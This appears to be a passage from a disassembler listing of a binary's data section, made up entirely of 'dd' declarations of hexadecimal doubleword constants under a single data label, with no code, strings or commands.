		dd 574ED763h, 0BE25E912h, 5DEB3840h, 4CE3C14Bh,	7F00A707h
		dd 0E96FB36Bh, 93C19AE6h, 0E5372CEDh, 0C437B32Bh, 7E80205h
		dd 0C908E9D7h, 7F42DAE0h, 20959D0Ch, 10BAC88Dh,	0D080292Dh
		dd 81363F5Eh, 73F8E204h, 0CBA83186h, 0BA4E90Bh,	0FF60F812h
		dd 15E95E3h, 0B02FA5B1h, 399C48F2h, 1CC04B3Ah, 3B9865h
		dd 7B05E381h, 8CE949F1h, 4CB08759h, 184F04D7h, 0A0AE2C0Fh
		dd 70BCC42h, 85B178Dh, 580507ECh, 2CABDE89h, 572FE96Ch
		dd 96B59B8h, 0C03F552h,	16782CBAh, 5181DDA1h, 35CE888Fh
		dd 211E2373h, 96BE8B5Ch, 29A7107Fh, 17611B0h, 0DD116BD1h
		dd 0C4A1BCC5h, 0EC757D0Bh, 0BD06A035h, 0C5F58261h, 77BB0B5Ch
		dd 1893B6D5h, 9559D7E9h, 4516DDEBh, 10A10320h, 0BFC370D2h
		dd 0F6E008F4h, 95458506h, 5EAB25Dh, 0DAD5580Ch,	0F2CA39BEh
		dd 734E5BF6h, 27D73D54h, 95C17F6Bh, 0D0026F5Fh,	803D35E9h
		dd 636B1D21h, 5F52F616h, 0C7C8A847h, 570B85B2h,	0C15E02C6h
		dd 1712F4B8h, 0BB2B5343h, 0CBFB3765h, 69E90A97h, 6ACF5960h
		dd 4FA7F75Fh, 0A9E90515h, 2F16A31Dh, 0D994D750h, 2FF6584Eh
		dd 5AE9D81Ch, 74820FA0h, 0DF0B3832h, 0D157F609h, 20BF4575h
		dd 0A312A944h, 0DAEE2EC1h, 0CC88E440h, 0C0047F71h, 82C208E7h
		dd 79B0C133h, 4BFA7230h, 9052AC53h, 294410B6h, 3BD7311Eh
		dd 0BD5FF913h, 0F5DCF117h, 0FD685C00h, 7B60445Ah, 954E0C51h
		dd 94E92D60h, 0E777844Eh, 42FC0DBEh, 0CDE3E42Ah, 0A629983Ah
		dd 0B9035B45h, 0F5B766Ah, 16704A0Ch, 0F1F501DFh, 7EE0EE8Eh
		dd 0F93074B6h, 0B242BF83h, 0E2E7113Eh, 28D157Dh, 9380CE29h
		dd 324120EAh, 325E595Ch, 0E0D01D24h, 2F6ACBFCh,	0CDFC6053h
		dd 0E03A2D70h, 8EBCC526h, 0F330AF93h, 0BD2030C3h, 0EE6AF0F4h
		dd 5619C218h, 9ACE7389h, 13D87246h, 0AB5A3AE5h,	0C2853AD5h
		dd 0F57D98FAh, 4F44D52h, 750E0D7Ah, 338DB601h, 43DC2017h
		dd 574B6C25h, 8042B6Ah,	55E5825Eh, 671C8BDBh, 561A7CBh
		dd 98AE08D7h, 765F8D70h, 0C4C4F7BCh, 531FB2Eh, 7E6556C5h
		dd 92B9EAF8h, 72F126DEh, 44AD0937h, 2D8F985Fh, 0C24E9727h
		dd 1532B800h, 0AE350AC2h, 2CCB0446h, 0B1782E9h,	35835F66h
		dd 100FB4E1h, 4CD015Ah,	668D72EFh, 0FFF6C9E3h, 3339AB2Fh
		dd 0F498EC7Bh, 0F58C98EFh, 0EA295E12h, 25E9B8F4h, 9F51F71Bh
		dd 504189A0h, 0A862883Fh, 4A299B4Dh, 17801FD4h,	5356853h
		dd 0E9C5312Dh, 28BD9236h, 386CA561h, 1048D42Fh,	0A84A856Dh
		dd 0EC681298h, 710F8CEAh, 0B0BA9DA8h, 9881D16h,	6A28990Fh
		dd 203CD48Eh, 0DABF002Fh, 810F2533h, 3600C4EFh,	0BD557E91h
		dd 0B8F33EF7h, 0BCE648A1h, 7D6CEE80h, 66F665E3h, 4F834152h
		dd 0A04AD7A2h, 8EBDF6D3h, 0B6F46F84h, 0C4380FAAh, 0EE67EC44h
		dd 0B2527A80h, 4CE91372h, 72F3ED8Eh, 4AEDD74Bh,	6D6AC407h
		dd 0C7A16F41h, 82CA7F0Dh, 4A7B3680h, 8D64115h, 68515200h
		dd 0C56E2A05h, 0E2815942h, 236F29C7h, 0B1C0810Fh, 8CB72A5Ah
		dd 722D3915h, 5A72798h,	771367F0h, 26B8442Ah, 0BA528E98h
		dd 78FB1601h, 8087E942h, 0F413E5BBh, 534628ABh,	52AAB702h
		dd 7F76CC68h, 0E9986B98h, 0F1A77E27h, 0DDBC4C2Fh, 74BF7B92h
		dd 45B554EFh, 0BD22A59Ch, 61032D6Ah, 9027B99Dh,	68FA606Eh
		dd 0B19B1312h, 3F300E02h, 78FE802Dh, 0A00D7716h, 507314B9h
		dd 0C09FB35Ch, 3964B9CBh, 213E622Bh, 7D0E18CEh,	0B702C0CFh
		dd 0A662CA71h, 2874C523h, 0BE994026h, 0F5001EE2h, 4C685746h
		dd 9638A853h, 1C350373h, 967A390Ah, 48976E16h, 0F124C9F9h
		dd 0FA4F12B9h, 0DA8D0232h, 7BDD2660h, 0EAA0C437h, 0FAEF61D1h
		dd 9D6AE6F8h, 5AF28B78h, 0C56D130h, 7C0DE845h, 21EA4914h
		dd 0B8295116h, 0E90840C0h, 0F1954BF0h, 5CED4F08h, 7AA43B16h
		dd 0D9F63E01h, 0D89CBF14h, 0A2183981h, 7D0C8250h, 0E4255E69h
		dd 410883DBh, 0E820140Ch, 0D54662E5h, 6EFFF24Bh, 0F8293E16h
		dd 2970BE92h, 803F3842h, 1D830EABh, 3E62FC1h, 803FDE56h
		dd 57253F5Ah, 0D6884DE9h, 0E675F232h, 13280152h, 0FCE978DAh
		dd 0FA306F3Ch, 98AE50A7h, 3B7B035Fh, 0D8F733D9h, 8EC23428h
		dd 90C10F4Eh, 55C26E43h, 52092879h, 880F593Ah, 0BF0257E5h
		dd 0FFDE062Fh, 7A0A8B80h, 8981B5Ah, 73171AB0h, 0FEA4CA7Ch
		dd 34826BFFh, 7A6D65F9h, 0DA3C0432h, 5D14C614h,	41577C81h
		dd 42B93A5Fh, 4084A84Bh, 808071E1h, 76686BF6h, 0C23A9BD5h
		dd 0B69CD03Ah, 747572EBh, 6A627A39h, 0C9CF5F59h, 0F4EBACE8h
		dd 78033905h, 7B43A15Eh, 273550A0h, 0A85AF1BDh,	97657AB7h
		dd 30A67C71h, 7DF13209h, 0EEBB8A90h, 19EB3801h,	4780CB81h
		dd 0E3D87AD9h, 1C7109E1h, 0B7C64B7Fh, 16409E98h, 0F52E0F2Dh
		dd 6545449Dh, 0D74D03ACh, 89F15F58h, 9A6BF4CBh,	27260DA0h
		dd 6869022Ch, 444E8C3Bh, 0F4B58279h, 815D300Dh,	0FCF13D7Ch
		dd 0F61E912h, 2BECBB9Dh, 496B9176h, 3B1958DCh, 3C8C880Ch
		dd 0EEE5FFE2h, 8695D7Fh, 0A4D3F52Ch, 68555200h,	0B9E0958h
		dd 0DDF75D63h, 0F8160BF0h, 0BABDBF0h, 0B7416755h, 0F3173B5Ch
		dd 1B04AF65h, 66079E1Ch, 0A1357552h, 0C4A23E8Fh, 154DB106h
		dd 20090C31h, 58B04Ah, 5EF264B8h, 0C83BC35h, 0EF55600Bh
		dd 469A7795h, 3247A841h, 3FBB9FF0h, 0FE901202h,	84D8CAA8h
		dd 909FF43Ch, 0F7F06854h, 0FA5B55C2h, 56258C48h, 0EECE5A80h
		dd 4E3A6F09h, 1002802Fh, 952B7C56h, 0AC894961h,	3B020EA3h
		dd 0FC6EEB30h, 187F06B7h, 250F0C74h, 803DE31Dh,	45064EC5h
		dd 0C9E92571h, 0F17DB8C2h, 6384B084h, 0A2A09701h, 4F1602F7h
		dd 0FF014686h, 295A7621h, 1C14E87Ah, 0CAFBB9DAh, 3CAAC712h
		dd 2AEF8BA3h, 2B1B3DFAh
		dd 24E917CCh, 0A718A133h, 84400154h, 0C7F8DFFEh, 306BF99Ah
		dd 5129E931h, 0D64F51BAh, 0BB4C1DCAh, 3A2122Fh,	107D88D0h
		dd 0DF0983EFh, 0A1DD3AB0h, 3C002858h, 687BC867h, 0C69F02B4h
		dd 0A1854E68h, 0D4A23B5Ch, 301701D2h, 7A4BFB2Dh, 84160F8h
		dd 20398D7Eh, 5D800E5Ch, 0FFAB842h, 0C3A23D1h, 8747A4h
		dd 507013BEh, 0BFBB050Eh, 0BE05116Dh, 55BA1480h, 0F4BE2FE2h
		dd 1F1CC0D0h, 0D78C16E9h, 4BEBAB94h, 8318945Dh,	0BE8491BDh
		dd 0A24E77B6h, 0AA568A04h, 0ED374A00h, 4FD2E90Bh, 0CDB25D3Fh
		dd 0A80E4030h, 8F95B985h, 0FB1FE276h, 0E2EBD542h, 610B10E4h
		dd 0FF0FC10Ch, 2D216CE6h, 34545701h, 514C6E0Bh,	499F9743h
		dd 9F835549h, 0BA842FE6h, 0E718D0E6h, 0CEBB9B45h, 30931A13h
		dd 1D6D5B01h, 0C824F51h, 79C4B463h, 35F58A57h, 0A7023202h
		dd 6800602Eh, 6FB13F23h, 81CD0FCh, 0CB8AE24Bh, 421C5DEAh
		dd 0F2952175h, 0BD59BD9Ah, 13B2707Bh, 10FC22Bh,	0A129F2EFh
		dd 0A01D600Eh, 61755004h, 0E005D801h, 8028ACF0h, 393B46B9h
		dd 0F1811D03h, 13F34D67h, 0AF08F864h, 84E9471Eh, 0CA6632B2h
		dd 70DC0213h, 0B6B443Eh, 4EED5891h, 28F2FA00h, 94C685Dh
		dd 0CEE9137Fh, 0EF120053h, 8F4916BBh, 0FE502FDDh, 7A235834h
		dd 6BF09E4Bh, 0F52C0EE5h, 88F85218h, 0EF0212F1h, 23E95860h
		dd 0CDC6E86Ch, 53DD03F6h, 0FD28A9B7h, 0E16874F2h, 1002122Dh
		dd 0D829256Fh, 5B078205h, 5C745F51h, 553688Eh, 0D9076D5Fh
		dd 695180EAh, 760F748h,	0A9734A2Fh, 0FBF2841Dh,	4E0CB016h
		dd 9A5691F2h, 2AFD79CFh, 2EEB1016h, 33BF7F04h, 110D581Dh
		dd 0C83A872Dh, 0E5B5AB44h, 0C0F824D2h, 610E1F29h, 7B08A898h
		dd 8A4F08A0h, 0A7CC77E9h, 3B0CA770h, 0C58237Dh,	20E16E2h
		dd 0A3C570h, 0EE4C94CBh, 8B30E939h, 0BCC3C311h,	66B62E40h
		dd 4EAF10A4h, 7713081h,	535A5900h, 805974BDh, 0E9D8215Bh
		dd 0A2978A78h, 34FD0F0h, 39B2BF66h, 0F386027Dh,	23B4216h
		dd 26C3E3h, 714C69B8h, 0E8274CB0h, 25F559EFh, 9C3DB574h
		dd 0DF258EE7h, 0A1E9141Bh, 6488572Ch, 1CB2881Bh, 27B3CD97h
		dd 5AF4187Dh, 13FDAC2Eh, 0B82DEE68h, 25FEC460h,	0C5344553h
		dd 7DE9A62Ch, 9C81E04Eh, 2F60831Fh, 248D79B9h, 20C391Ch
		dd 9957CA4h, 8145F8D7h,	0C03A5908h, 66CC9A4Ah, 605F002h
		dd 0FF497B70h, 2507B008h, 7CA00EC8h, 0C4E7C180h, 5892FCh
		dd 393D1BBDh, 4BEE98FFh, 19098A9Eh, 0EA3BA694h,	0A95F4070h
		dd 0BBF848B1h, 62F5BE23h, 2D002757h, 0A485B94h,	5F80117h
		dd 38F83A07h, 538E1472h, 3849EF88h, 2FAD4182h, 27D5C577h
		dd 2C32BFDh, 5FE6772h, 51CCD258h, 6884ABD9h, 0F7B302F9h
		dd 0A52B962Ch, 0AC4396FBh, 0F2170434h, 81726E98h, 3A8A3CD6h
		dd 0F7168DDEh, 0E2C5ECE1h, 7795AB06h, 73318080h, 505300Ah
		dd 0BC7238BDh, 7DF30180h, 93659CDh, 9008EE28h, 4F22335Ah
		dd 0A5BAD17Dh, 0EA80F7F4h, 0BF72ECD9h, 3C1AC601h, 0DEED295Fh
		dd 18D71E42h, 2E7712DEh, 5CE31D4h, 0C0B0634Eh, 7557EBC2h
		dd 1206F1Dh, 820D3A4h, 24AEFA95h, 45E189F2h, 0CB40C14h
		dd 2913E70Ch, 53E31219h, 310B44Eh, 0CBBEB40h, 2D2C6C53h
		dd 0F166332h, 0EBA8E511h, 974A4112h, 0D653FE75h, 6A0CA0BFh
		dd 1C5E9831h, 335EBF5Dh, 412716A4h, 2C7B5A1Eh, 0B32E95Bh
		dd 89FE5733h, 5F06E9ACh, 4BF4EC83h, 0F3FA35AFh,	0F67F1F40h
		dd 0B28ABABFh, 0E9E2D720h, 0CA44FFF4h, 462CE8F8h, 12BF0BA5h
		dd 0A7247BD8h, 0D986792Bh, 0F608DBF7h, 1632609Dh, 5253D828h
		dd 1089B64Ch, 50628A17h, 6F4EA6Fh, 0D32202C4h, 0E945B05Fh
		dd 0A5675FAEh, 40FFCA27h, 5C306677h, 4922B3CFh,	3EBC681Fh
		dd 510B8A2Ah, 758803B1h, 0DDC09533h, 80165B66h,	841256E5h
		dd 0F54AC1ABh, 80C22ECEh, 0E8801331h, 245C33E9h, 65C5877Bh
		dd 1C00574Eh, 3C072BBCh, 0A6DD4A89h, 0ADED02A5h, 6128160Fh
		dd 56074E2Dh, 0BFE2AEF5h, 0C8067B1Fh, 25AEFCE7h, 5786AAA5h
		dd 7BB6E19Bh, 0C1B526F8h, 66A6C286h, 99A84F89h,	47DD1696h
		dd 75FB295Fh, 0BBF3D052h, 34276460h, 80077470h,	3366D6F3h
		dd 0EC34B31h, 0B84352B5h, 9578DDE9h, 63C76CA0h,	0ED907046h
		dd 0D243C209h, 292BC061h, 9E91CF0h, 957F2DAFh, 0FA302FEAh
		dd 1CAE9D2Bh, 1CFDA97h,	33594C28h, 6A8862E9h, 4ED9B7A2h
		dd 0A4EDCB0h, 0AD56E92Ah, 0E42768E8h, 5844DC51h, 2EE18F44h
		dd 23F2CBAh, 72F64CA0h,	5D796880h, 8892B411h, 0C997322h
		dd 75D7C617h, 2A17EB4h,	0B5EBB82Bh, 4A82CBEBh, 6AF150A5h
		dd 4F851BDh, 290BF443h,	0EC4CFh, 0E9C35908h, 64C2E8D4h
		dd 40D3F75Bh, 48EB83B8h, 2601E301h, 89AAD6A9h, 4FF02ADAh
		dd 662E1717h, 40DE01Fh,	2D01F69Eh, 5AF7DA8h, 0C4E6E76Ah
		dd 0AE162FC4h, 806A019h, 3E5D4E61h, 0BD6D8DE4h,	0EF5BBFC6h
		dd 0EC6F3E4h, 4E6C0C1h,	0BC03EEC4h, 52660018h, 0D7209EB2h
		dd 864F2EE9h, 0C0D29289h, 8506915Ch, 32C54A4Eh,	0CCDAB1BFh
		dd 433B39BEh, 16CD1622h, 0F5FA9C18h, 1E7A3F21h,	384C2924h
		dd 0E8DEABCBh, 6915884Dh, 4B785B60h, 0F230C4F7h, 0B71D2A15h
		dd 49FE789Fh, 5405A45Ah, 822CFB61h, 5B01A1EFh, 613E0A89h
		dd 293703F9h, 15EED745h, 0BE90841Fh, 5B3BFF03h,	0FBB4013Ch
		dd 0E82A8E89h, 0F3F04B43h, 16D797D8h, 0B26BFA43h, 514DEBh
		dd 4D306809h, 6C0F16B1h, 0E4A75EB6h, 2771F997h,	43D802A0h
		dd 207A4C52h, 214F5551h, 0AA86E6E3h, 979E899Dh,	0B69BAC2h
		dd 0DB919B5Fh, 683B0C37h, 35436380h, 17984E4Bh,	0F8925EE3h
		dd 20A0A1C6h, 65BE5600h, 60A22E12h, 5AECE200h, 0CF73BE7h
		dd 905DE9DDh, 0AF921563h, 75F5B97h, 84BEF681h, 8D80AF6Bh
		dd 1DB25337h, 65C0E909h, 59607FC4h, 4D46F768h, 88509533h
		dd 43DBC9Ch, 224C977h, 0B449A856h, 2744A2BAh, 8C615D68h
		dd 0E757FE89h, 54E91FBAh, 0BA027A78h, 5F338A1Eh, 465A7BDEh
		dd 137F205Ah, 16D8B852h, 5CEFE829h, 4E2AC256h, 0A7614026h
		dd 0B0AA05A7h, 0E640AC28h, 9D887552h, 6CBFBB70h, 7B5C9FF6h
		dd 8928E526h, 86E18458h, 4B0C27CAh, 0A8D0BB5Dh,	9025B951h
		dd 4FFE735Eh, 14BDE8CAh, 0D2C12A21h, 459CF000h,	0BBE546Ah
		dd 0B41D0EDAh, 295F5B82h, 7BA020D2h, 0C5A6A2F6h, 2032559Fh
		dd 896C717Fh, 0DA05C138h, 7407D7E1h, 0C21BC0E2h, 592D40E4h
		dd 275DDE89h, 0B7391457h, 0CC09058Bh, 0BF05E120h, 7C0AB838h
		dd 5E493D68h, 0DB1CDEA8h, 0BE80CE1Fh, 8D045459h, 1B3C59E9h
		dd 305E4148h, 0F716845h, 0E97E370Bh, 89522287h,	0A5045FDEh
		dd 0ABEDFA5Bh, 5AD0B800h, 6F25326Bh, 59E6D1Dh, 886E8647h
		dd 0E0FAF797h, 2C1CC108h, 857B0BBDh, 163F6067h,	66F3A480h
		dd 0C83F2E02h, 7F645A64h, 79343A4Dh, 6993F397h,	10A85D5Eh
		dd 0A1A3EA72h, 51FD3AAAh, 4606E873h, 0E54AA659h, 162AD0ABh
		dd 0B7BE642Ah, 0BF152F03h, 0AE0C052Ch, 0A05EA766h, 0E826096Ch
		dd 901A7B71h, 68A89049h, 13514CD2h, 0B85BB9C0h,	5248094Dh
		dd 253A05D4h, 0E4AA6295h, 681558E8h, 3B8C031Ch,	0FEAC4A9h
		dd 74FB0DC5h, 0D5C83069h, 31EF0F1h, 2DF93582h, 0C2125EFCh
		dd 2EFF3CFDh, 71FE66Dh,	25EF3F37h, 0F1974A7Ah, 5E70F83Eh
		dd 5D3234A0h, 0C053E30h, 165F19AEh, 0F2028811h,	51204CCAh
		dd 1344204Bh, 0EC564B1Eh
		dd 2CEAF257h, 3A2668FFh, 5BC0047Bh, 0B1D183E7h,	0FD2B0816h
		dd 21A3BA03h, 0D029C19Ch, 0F3CF2F1h, 0AE505216h, 5DB72D60h
		dd 0E799488h, 0C2C0132Ch, 0FEFA8658h, 1C50CF34h, 66E5EAh
		dd 0E44AE5B4h, 0CE81210Fh, 3E40825Ah, 306A7846h, 6CAB8C37h
		dd 32609622h, 1DDEEFDAh, 0F8EE5B72h, 49350093h,	481AE157h
		dd 1430E540h, 8141603h,	42302C71h, 0E2F20FB8h, 8054F30Ah
		dd 8202A73Fh, 74893BA2h, 965609EBh, 314950EEh, 76382577h
		dd 16FF27FDh, 0B1F195D7h, 6C354000h, 9ED3E913h,	4BA0255Dh
		dd 4E2048C7h, 0F21DCAB0h, 21EDB4E9h, 4A42ACEFh,	6791002Bh
		dd 29F50127h, 388386A0h, 13ADB980h, 0FA6EBF32h,	76029725h
		dd 5CB3CB07h, 7B030162h, 7B0160B1h, 67085810h, 0AF83CF72h
		dd 0D7931E49h, 0FE391752h, 0A489E45Fh, 4527713Ch, 0D5CAEEBEh
		dd 0FDEB0076h, 533BBC2Ch, 0F44A55E9h, 9C8435F2h, 7ABDCD92h
		dd 68B0BFE9h, 2AE1077Ch, 68416CBFh, 5E33DE2Fh, 0FBDDD249h
		dd 0E35E884Bh, 0D10B3828h, 8E3CB415h, 0A84F30BAh, 17FB9BD1h
		dd 35DEA58h, 0F25E2505h, 93EE8F4h, 455163E9h, 0F873A7FDh
		dd 2026E985h, 0F8939928h, 258D9E3Eh, 140979Eh, 92569553h
		dd 48B3E962h, 12102D9Ah, 0B2EE702h, 0BE63A90h, 7F6085F2h
		dd 16EAEF5Fh, 0FF5F4B75h, 9D866CD5h, 0B33CF751h, 8506B94Bh
		dd 64EF5AD5h, 0E9CD201Fh, 2880617Ah, 0B15113C2h, 29A18782h
		dd 0DA2F815Eh, 0F18028CBh, 43A63580h, 4D1CEA9Dh, 0D95CE290h
		dd 9B04B103h, 4C20FE2Ch, 7EE91283h, 4628BB1Ah, 0AA362EAh
		dd 9584E2D1h, 44085224h, 5FB2873h, 0B2E65F2Dh, 0D7A1500Dh
		dd 4B39B511h, 8E12DDACh, 6E296Bh, 0F70A9FF3h, 0AA5E1960h
		dd 9168EB47h, 2D22A48Bh, 0F769B571h, 64943794h,	894D40AFh
		dd 59F69FE3h, 0EF597772h, 4D2DE961h, 59CB2381h,	6F1A2B68h
		dd 70D228Ch, 0E96CC480h, 0FA13AEDAh, 53BF9799h,	1B4014A7h
		dd 0DAE4EB88h, 8F69C9F2h, 126AF7ABh, 12927275h,	0F4ECE0E9h
		dd 0CF01C0E1h, 685765CEh, 23896DEBh, 691407B3h,	900C1B0h
		dd 2D64A323h, 2221287h,	5EDA0540h, 39432F15h, 28071FE5h
		dd 975F7111h, 68550226h, 7931BB06h, 0DE4CE94Ah,	10D4435Ch
		dd 49D7491Fh, 21016878h, 290D5BD8h, 0EADF9567h,	0B58F586Fh
		dd 0FEFE51C1h, 0CE0F4ED4h, 62D2EB4Eh, 6AD177A9h, 72E2E962h
		dd 0A0F305C0h, 0F0788BBDh, 0C80729DEh, 0E6381A2Dh, 0B2EA5945h
		dd 5AA0DE21h, 2B34B12Eh, 0F7CF9EF2h, 3DD4E9C2h,	90D7C8A5h
		dd 55B0508Ah, 1A1205Fh,	8457A33Ah, 0C0B3551Ch, 69E2121Bh
		dd 521FAF0h, 79FC614Ah,	0FE144316h, 8E024F68h, 11C98012h
		dd 62F2BA4Bh, 25DE5433h, 5DE9D9D1h, 0FE3BE502h,	37400DF6h
		dd 0F844B726h, 399A5E4Fh, 5AF23AF1h, 2E18E9C2h,	3768AC01h
		dd 0FEEF4BFBh, 0CAEAD8C5h, 0E95981F6h, 0D73AE074h, 92314765h
		dd 0DA546032h, 69D151EBh, 0C027AB76h, 4A3FE231h, 0E028C3F3h
		dd 88E40D4Eh, 5DB2E2E9h, 29184156h, 0EADAA91Dh,	355083AAh
		dd 0AB36D597h, 14B571BDh, 0EF4AC4AAh, 346B5C9Dh, 58C0FFE4h
		dd 0EC73223h, 1130BA18h, 0CA312B62h, 4359CE1h, 65DE1581h
		dd 0B818E87Dh, 3DC6FB8Dh, 7A4F91FCh, 0C86A34B1h, 20972590h
		dd 790CEA99h, 0E85D4BB6h, 8A372AAh, 4EB50C06h, 0B88742Ch
		dd 47434B3Eh, 0BA88B47Eh, 0F5F22FDFh, 4E2FEB05h, 11B05664h
		dd 9D714A24h, 34EDA6D8h, 16C620Fh, 5AD6890Eh, 136E36E0h
		dd 0FA3106F7h, 79D37F72h, 7F7B660Ch, 4EC470BDh,	5CF0445h
		dd 899EA77h, 2BA666E9h,	0AAA61335h, 80D51CE0h, 0C06C1FC5h
		dd 0E0270C42h, 0B85971E8h, 0ABE9144Dh, 7089B167h, 5F5B1AC6h
		dd 0A25457AFh, 252B4C22h, 5F4A6059h, 0C0C25B01h, 0D42B1A67h
		dd 93FE154Eh, 6200829h,	0D070003h, 112512E1h, 373B2F05h
		dd 89578E7Bh, 0F78776C7h, 6FF954A0h, 1B4A25Bh, 2209E907h
		dd 0EEF32534h, 0F8AFBA6Eh, 86DE67ECh, 0BC5345F7h, 0A5B880AFh
		dd 289F3Ch, 0D80B9E2Dh,	71C2052Ch, 35063801h, 2510FBCCh
		dd 4D751E21h, 17BDF31h,	40232D7Dh, 87629603h, 692031B5h
		dd 51324021h, 1CCCB558h, 0BDACE888h, 8980590Eh,	0F74A57B7h
		dd 133DBB51h, 22E78167h, 0C4F94A7Bh, 11E3FE58h,	0A1BBE9C5h
		dd 85C46828h, 9ABD02CCh, 0CCF553B2h, 0A42A2013h, 4F0EBF17h
		dd 0CF81E500h, 58696F9Ch, 82007D0Ch, 0E905794Ah, 76B41A83h
		dd 0FF01DD5Ah, 2A19353Bh, 8BF4DC16h, 471F560Bh,	8235207Bh
		dd 0F4A7649Dh, 0E32D4AACh, 0A04318B0h, 401C773Bh, 4225C581h
		dd 5395B8Dh, 4D33A868h,	0D5455087h, 0E2923BEFh,	0BDA7C0E0h
		dd 0BE1C1F16h, 45F49638h, 82DF298Fh, 0CA7EF76Ah, 46345C04h
		dd 9597282h, 19CA5D80h,	5B593B04h, 0FD558A64h, 0C14A7F10h
		dd 7AF2A814h, 12BB64B5h, 0E94B9882h, 5956056Dh,	548B762h
		dd 51D0FA21h, 4CCBD3B6h, 0F020A2B4h, 52B0585Fh,	2D48E4BFh
		dd 57887841h, 0D32600C6h, 5005F73Ah, 6CBD6100h,	6851F801h
		dd 0BB7E24F3h, 5DC31601h, 83D57FBDh, 0FCDEC97Ah, 0B9C709E5h
		dd 1855253h, 5B6052A1h,	264028C6h, 0D3DF5089h, 0DFC2E11Bh
		dd 0A82A9516h, 334ECF54h, 0A8A910B0h, 33622588h, 0BC5CCB17h
		dd 8444D4ECh, 0A6A8BB96h, 1D2F785h, 0CBA5CFCBh,	58262C69h
		dd 4E854CC4h, 5A171814h, 0CE84E0E3h, 0E3C007EBh, 0E4E055E9h
		dd 0FCB02C55h, 5A84715Ah, 630DF6BFh, 80F5B23Ch,	58B0E9D3h
		dd 0E5F7D036h, 5A2AD17Fh, 7DE63F01h, 91791800h,	70DFE92Bh
		dd 0E2533DBEh, 7E836A0Ch, 0D2C839C8h, 51F8E05Bh, 632FB12Fh
		dd 5FFBA2BAh, 0A089A6F3h, 8A049A60h, 5EA76855h,	99CDC464h
		dd 40E26A80h, 0EDCF6812h, 199821Bh, 0BC6E5574h,	0A6251D7Ah
		dd 4003572Ch, 5FAA693Fh, 132EE457h, 0AE0FBE68h,	7D08E160h
		dd 0AE7BD246h, 2D83E9A4h, 20FD01C0h, 928D3559h,	0BC1B5BABh
		dd 0E9510BE6h, 5CB32526h, 1F32C8BBh, 3BB9DC40h,	71A64513h
		dd 0D86D12D7h, 4F4129DDh, 4C46BB3Eh, 82A35CC8h,	72F3FCEDh
		dd 79CE8975h, 8BFBADEDh, 0F7DBE10Bh, 0D0931CE7h, 19AD3C52h
		dd 0F58EAED6h, 0BE74E265h, 8A1BA6F3h, 5DDCB53h,	0B338B53Bh
		dd 8A0CC428h, 3EB5BA00h, 3C9C345Eh, 6B009B26h, 214AF87Dh
		dd 4D5826C5h, 0FEE30444h, 0C35CC38Fh, 25724298h, 0DFEB2927h
		dd 0C4F7C8AEh, 0C812BE70h, 0C5109BF2h, 31680934h, 82E37159h
		dd 3665BF3h, 308BD97Dh,	461D6F0Ch, 407EBB5Ch, 0BE0B560Ch
		dd 7C9D57CEh, 14FE03A2h, 0B0B77999h, 1DD027A7h,	0E74518C2h
		dd 0EF8D52Dh, 0B2C1CBE6h, 30245734h, 0F47C997Ah, 3A0086F3h
		dd 5F094820h, 5D97E91Ch, 7E483D93h, 34DE804h, 0BB94EA41h
		dd 0A7E90805h, 0BE03ABBCh, 78AB7457h, 62EB734Eh, 0F7101C8Fh
		dd 0CE6812E9h, 0B0983418h, 0DA4ED2CAh, 0BBD6C4B9h, 5A0DD37Ch
		dd 2F79B6F7h, 38B896Eh,	4A95A283h, 9224ECC7h, 8EE5AFFh
		dd 9FEF47E8h, 23F4081h,	0C4152159h, 0C0FB09D5h,	0B7AC0434h
		dd 0B3A71863h, 8D02310Eh, 5758D6EDh, 0E20C5761h, 0F77CFC12h
		dd 4BB3D4Ch, 572E3E4Ah,	8D550FBh, 0D056EB4Fh, 0A8B72A83h
		dd 0E6DDC780h, 0C18648F7h, 20E92320h, 492659FCh, 1D126041h
		dd 50506B98h, 40E37E54h, 0DB09BD21h, 557B0871h,	584BFA50h
		dd 1F359780h, 675F3D44h, 2CED2E13h, 70406F85h, 25EF77D1h
		dd 6EF989BEh, 0F9769382h, 59D97569h, 8C3CD127h,	2D300681h
		dd 0A06D250Eh, 2122A35Dh
dword_533710	dd 42898ACDh, 9DE5D8Dh,	0E950C301h, 0D75197DCh,	0E2C480B2h
		dd 6B51BFA5h, 18136F26h, 59CE9A90h, 7952BD21h, 5E642F2Dh
		dd 6AF7D0B1h, 0F7EB0F9Eh, 324C9C40h, 6388FB9Dh,	0EAF4D98Eh
		dd 0E9B18DA9h, 0EF0A2B77h, 34880ABFh, 0F65D1226h, 4BFF26F3h
		dd 881253A5h, 0CA264812h, 59A3572Fh, 0F8F2D788h, 0CD052864h
		dd 42796859h, 0EBA0C535h, 0B2D1425h, 0BA1C9408h, 14752567h
		dd 24565F02h, 1689EDB0h, 1B8A98DDh, 22B6534Bh, 597DAC36h
		dd 54348274h, 0D6557AD1h, 5F800383h, 0E7B0687Fh, 61331A31h
		dd 9531C02h, 1B190158h,	83AB278Fh, 1A1191Eh, 64BF2AE1h
		dd 15B57111h, 0DBCC2B39h, 2F2B4156h, 0B905FCB8h, 0A18C79C0h
		dd 0DD0E6BB5h, 374BB0A0h, 0F017B581h, 665C2C5Fh, 2911580Dh
		dd 13BC9B0Dh, 0EE8D30E6h, 16800430h, 135DF522h,	959608B3h
		dd 0AC5ACA20h, 0E97B584Bh, 0FEECEDC0h, 0E83EE929h, 5546B0B3h
		dd 100C0168h, 0AEE97DBBh, 0FC57C247h, 9279E5D2h, 94415F6Dh
		dd 20AD7559h, 84B5463Fh, 0F8BA66CBh, 29C3B760h,	685EF8F0h
		dd 0B4274C06h, 862556CFh, 6630CC47h, 337AB91Dh,	284ABE07h
		dd 0B4840184h, 0AA62C9FAh, 0B450370Ah, 10CC5A9Ch, 4E5D0EC2h
		dd 805EEE5Eh, 297CE2C3h, 0FF8FFAE9h, 0F4C7FE93h, 8674961Eh
		dd 5C36585Ah, 0EAE9130Dh, 4075A4DBh, 52F66C26h,	57D9C309h
		dd 0D43BFF67h, 8D09BFD6h, 65E9903h, 5A0D894Ah, 7A39FE01h
		dd 85C8243Ah, 552B2145h, 0D04005Ch, 4C6EE659h, 0F374F828h
		dd 94CD6220h, 0D1EE806Eh, 170D703h, 11C648h, 8230943h
		dd 33FA8E05h, 581A68B3h, 4BE82C06h, 0B0F13A5h, 316B69A9h
		dd 0C3BC2F7h, 17521C08h, 2443326Ch, 4EE7FB8Fh, 80565184h
		dd 0C4637EB4h, 0CAE07B48h, 29420C59h, 0F282DDF1h, 0B100DAD8h
		dd 0B0C380F4h, 75CB750Ah, 44939EEBh, 0B4F8BA95h, 6538BF93h
